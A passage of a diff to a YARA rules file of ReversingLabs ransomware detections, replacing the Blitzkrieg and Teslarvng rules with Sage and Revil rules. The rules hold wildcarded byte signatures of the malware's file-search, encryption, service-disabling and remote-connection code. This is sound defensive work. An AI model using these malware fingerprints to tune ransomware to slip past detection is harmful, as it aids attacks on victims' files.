+            ?? ?? ?? 50 57 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 85
+            ?? ?? ?? ?? 53 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF 85 DB 74 ?? 90 8B 45 ?? 8B
+            34 B8 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 66 8B 08 66 3B 0E 75 ?? 66 85 C9 74 ??
+            66 8B 48 ?? 66 3B 4E ?? 75 ?? 83 C0 ?? 83 C6 ?? 66 85 C9 75 ?? 33 C0 EB ?? 1B C0 83
+            C8 ?? 85 C0 74 ?? 47 3B FB 72 ?? 8B 75 ?? 8B 7D ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF
+            15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? 33 DB 83 F8 ?? 0F
+            95 C3 FF 15 ?? ?? ?? ?? 5E 8B C3 5B 5F 8B E5 5D C3
+        }
+		$encrypt_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 75 ?? 33 DB 89 5D ?? E8 ?? ?? ?? ?? 8B F8 83
+            C4 ?? 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 83 3F ?? 0F 85 ?? ?? ?? ?? 53 68 ?? ?? ?? ??
+            FF 77 ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF
+            77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF
+            77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF
+            77 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? FF
+            77 ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 89 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 83 3E ?? 0F 85
+            ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ??
+            8B 45 ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 83 39 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 70
+            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? FF 75 ?? 33 FF C7 45
+            ?? ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 83 3E ?? 75 ?? 57
+            68 ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? FF 70 ?? 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74
+            ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 8D 7B ?? A1 ??
+            ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 1D ?? ?? ?? ?? 85 F6 74 ?? 56 E8
+            ?? ?? ?? ?? 83 C4 ?? 8B C7 5F 5E 5B 8B E5 5D C3 FF 76 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 78 ?? 85 FF 74 ?? 8B 47 ?? 89 45
+        }
+		$encrypt_files_p2 = {
+            8B 70 ?? 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 04 75 ?? ?? ?? ?? 50 6A ?? FF 15 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 84 9D ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 0C 75
+            ?? ?? ?? ?? 51 50 8D 46 ?? 50 8B 45 ?? FF 70 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 3F
+            43 85 FF 75 ?? 68 ?? ?? ?? ?? C7 84 9D ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 77 ?? 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50
+            6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B C8 89 4D ?? 85 C9 0F 84 ?? ?? ?? ??
+            8B C6 99 6A ?? 2B C2 D1 F8 6A ?? 89 45 ?? 8D 45 ?? 50 51 6A ?? 56 FF 77 ?? FF 15 ??
+            ?? ?? ?? 8B 7D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 57 8B 7D ?? 8B F0 57 56 FF 15 ?? ?? ?? ?? 56 FF 15
+            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ??
+            ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ??
+            ?? ?? 8B 7D ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 05 ?? ?? ??
+            ?? ?? ?? ?? ?? 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 85 DB 74 ?? FF B4 B5 ??
+            ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 46 3B F3 72 ?? 8B 45 ?? 5F 5E
+            5B 8B E5 5D C3
+        }
+		$remote_connection = {
+            8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 68 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B E5 5D C3 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 85 C0 0F 88 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 78 ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ??
+            85 F6 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ??
+            83 C4 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5E 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($remote_connection)
 }
-rule REVERSINGLABS_Win32_Ransomware_Blitzkrieg : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Sage : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Blitzkrieg ransomware."
+		description = "Yara rule that detects Sage ransomware."
 		author = "ReversingLabs"
-		id = "078f7f9d-edd4-52b4-a30e-e968542da95c"
+		id = "81f4c666-93f9-51bb-8dda-431ef7a81b74"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Blitzkrieg.yara#L1-L127"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "22dd16c886a1982186fe927e633be9951da7d7e664e877e11fa976696b2bc86f"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Sage.yara#L1-L77"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "69079b7176050096cdbaaaff30dd0359366b3a6a74e8bc17db348794388f71ba"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37627,116 +38932,70 @@ rule REVERSINGLABS_Win32_Ransomware_Blitzkrieg : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Blitzkrieg"
+		tc_detection_name = "Sage"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files = {
-            55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 55 ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ??
-            64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ??
-            ?? 64 FF 30 64 89 20 8B 45 ?? 8B 40 ?? 8B 10 FF 52 ?? 8B F0 4E 83 FE ?? 0F 8C ?? ??
-            ?? ?? 8B 45 ?? 8B 48 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 A0 ?? ?? ?? ?? 88
-            43 ?? C6 43 ?? ?? 8D 4D ?? 8B 45 ?? 8B 40 ?? 8B D6 8B 38 FF 57 ?? 8B 55 ?? 8B C3 E8
-            ?? ?? ?? ?? 8D 43 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? 8B C3 E8 ?? ?? ?? ?? 8B D3
-            8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 40 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 4B ?? 89 0C
-            82 4E 83 FE ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 84 C0 74 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
-        }
-		$search_files_p1 = {
-            E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? B2 ?? A1 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? F6 40 ?? ?? 74 ?? FF 45 ?? 8B 45 ?? F6 40
-            ?? ?? 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ??
-            74 ?? 83 45 ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 83 45 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 52 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ??
-            E8 ?? ?? ?? ?? 85 C0 7E ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 8B 52 ??
-            48 85 D2 74 ?? 3B 42 ?? 72 ?? E8 ?? ?? ?? ?? 40 80 7C 02 ?? ?? 74 ?? 8D 85 ?? ?? ??
-            ?? 8B 55 ?? 8B 4D ?? 8B 49 ?? 4A 85 C9 74 ?? 3B 51 ?? 72 ?? E8 ?? ?? ?? ?? 42 8A 54
-            11 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? EB ?? 8B 55 ?? 8B 45
-            ?? 8B 08 FF 51 ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 45 ?? FF 4D ?? 75 ?? 8B 45 ?? 8B 10 FF
-            52 ?? 48 85 C0 0F 8C ?? ?? ?? ?? 40 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            8B 55 ?? 8B 45 ?? 8B 18 FF 53 ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ??
-            ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 8B 8D ?? ?? ?? ?? 8B 55
-            ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 85 C0 0F 8F ?? ?? ?? ?? 8B 55 ??
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 8F ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 84 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 55 ?? B8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 85 C0 7F ?? 8B 45 ?? 8B 40 ?? 50 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B D8 B2 ?? 8B C3 E8 ?? ?? ?? ?? 8B D3 8B 45 ?? E8 ?? ?? ?? ?? 8B 45
-        }
-		$search_files_p2 = {
-            E8 ?? ?? ?? ?? 40 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 85 D2 74 ?? 3B 42 ?? 72 ?? E8 ?? ?? ?? ?? 8B 4B
-            ?? 89 0C 82 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8B
-            45 ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0
-            5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ??
-            EB ?? FF 45 ?? FF 4D ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
-            64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8D 85 ?? ?? ?? ??
-            8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ??
-            8B 48 ?? 8B 45 ?? E8
+		$remote_connection = {
+            83 EC ?? 8B 44 24 ?? 53 55 56 57 8B 7C 24 ?? 8B 77 ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ??
+            8B D8 51 89 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 89 44 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 89 77 ?? FF 15 ?? ?? ?? ?? 8B E8 89 6C 24 ?? 85 ED 0F 84
+            ?? ?? ?? ?? 8B 74 24 ?? 6A ?? 56 53 55 FF 15 ?? ?? ?? ?? 8B D8 89 5C 24 ?? 85 DB 0F
+            84 ?? ?? ?? ?? 8B 4C 24 ?? 33 C0 BA ?? ?? ?? ?? 66 3B F2 0F 95 C0 48 25 ?? ?? ?? ??
+            50 6A ?? 6A ?? 6A ?? 51 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ??
+            ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 8B FF
+            8D 54 24 ?? 52 56 FF D3 8D 44 24 ?? 50 8B 44 24 ?? 50 50 57 E8 ?? ?? ?? ?? 83 C4 ??
+            50 56 FF D5 85 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 6A ?? 8D 4C 24 ?? 51 8D 54
+            24 ?? 52 6A ?? 68 ?? ?? ?? ?? 56 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 56 FF 15 ?? ?? ?? ??
+            53 FF 15 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ??
+            83 C4 ?? 8B 44 24 ?? 5F 5E 5D 5B 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 04 24 83
+            C4 ?? C3 57 E8 ?? ?? ?? ?? 83 C4
         }
-		$disable_services_p1 = {
-            E8 ?? ?? ?? ?? 8B F0 BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
-            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
-            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
-            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
-            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
+		$encrypt_files = {
+            83 EC ?? 53 8B 1D ?? ?? ?? ?? 55 8B 6C 24 ?? 56 57 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68
+            ?? ?? ?? ?? 8D 7D ?? 57 FF D3 8B F0 83 FE ?? 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ??
+            ?? 89 44 24 ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B
+            4C 24 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 51 FF D3 8B D8 83 FB ?? 75 ??
+            56 FF 15 ?? ?? ?? ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 83 C4 ?? C3 8B 54 24 ?? 6A ?? 52 57
+            56 53 E8 ?? ?? ?? ?? 83 C4 ?? 56 8B 35 ?? ?? ?? ?? 8B E8 FF D6 53 FF D6 85 ED 79 ??
+            8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 8B C5 5D 5B 83 C4 ?? C3 57 E8 ?? ?? ?? ?? 8B
+            F0 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 8B D8 FF 15 ?? ?? ?? ?? 8B 4C 24 ??
+            6A ?? 53 51 EB ?? 8B 4C 24 ?? BA ?? ?? ?? ?? 3B 55 ?? 1B C0 83 C0 ?? 50 51 57 56 56
+            E8 ?? ?? ?? ?? 83 C4 ?? 56 8B D8 FF 15 ?? ?? ?? ?? 85 DB 79 ?? 5F 5E 5D 8B C3 5B 83
+            C4 ?? C3 57 E8 ?? ?? ?? ?? 8B F0 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B
+            D8 53 57 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5D 33
+            C0 5B 83 C4 ?? C3
         }
-		$disable_services_p2 = {
-            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
-            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
-            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ??
-            8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08
-            FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? BA
-            ?? ?? ?? ?? 8B C6 8B 08 FF 51 ?? 8B 55 ?? 8B C6 8B 08 FF 51 ?? 6A ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B D0 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 C9 33 D2 E8 ?? ?? ?? ?? 33 C0 5A
-            59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$find_files = {
+            53 55 8B 2D ?? ?? ?? ?? 56 57 33 FF 57 57 FF D5 8B F0 85 F6 74 ?? 85 FF 74 ?? 57 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 44 36 ?? 50 6A ?? 8B DE E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 57 56
+            FF D5 8B F0 3B DE 72 ?? 66 83 3F ?? 8B DF 0F 84 ?? ?? ?? ?? 8B 6C 24 ?? 53 8B FB FF
+            15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8D 5C 43 ?? FF D6 85 C0 74 ?? 68
+            ?? ?? ?? ?? 57 FF D6 85 C0 74 ?? 57 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 D3 E2 F6
+            C2 ?? 74 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 57 8B F0 E8 ?? ?? ?? ?? 6A ?? 89 06 8D 46 ??
+            6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4E ?? 51 C7 46 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            8D 56 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 89 46 ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 66 83 3B ?? 0F 85 ?? ?? ?? ?? 5F 5E 5D 5B C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and (( all of ($disable_services_p*)) and ( all of ($search_files_p*)) and ($encrypt_files))
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($remote_connection)
 }
-rule REVERSINGLABS_Win32_Ransomware_Teslarvng : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Revil : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Teslarvng ransomware."
+		description = "Yara rule that detects Revil ransomware."
 		author = "ReversingLabs"
-		id = "7045b13e-95a5-54da-b540-75d464e7673d"
-		date = "2020-12-14"
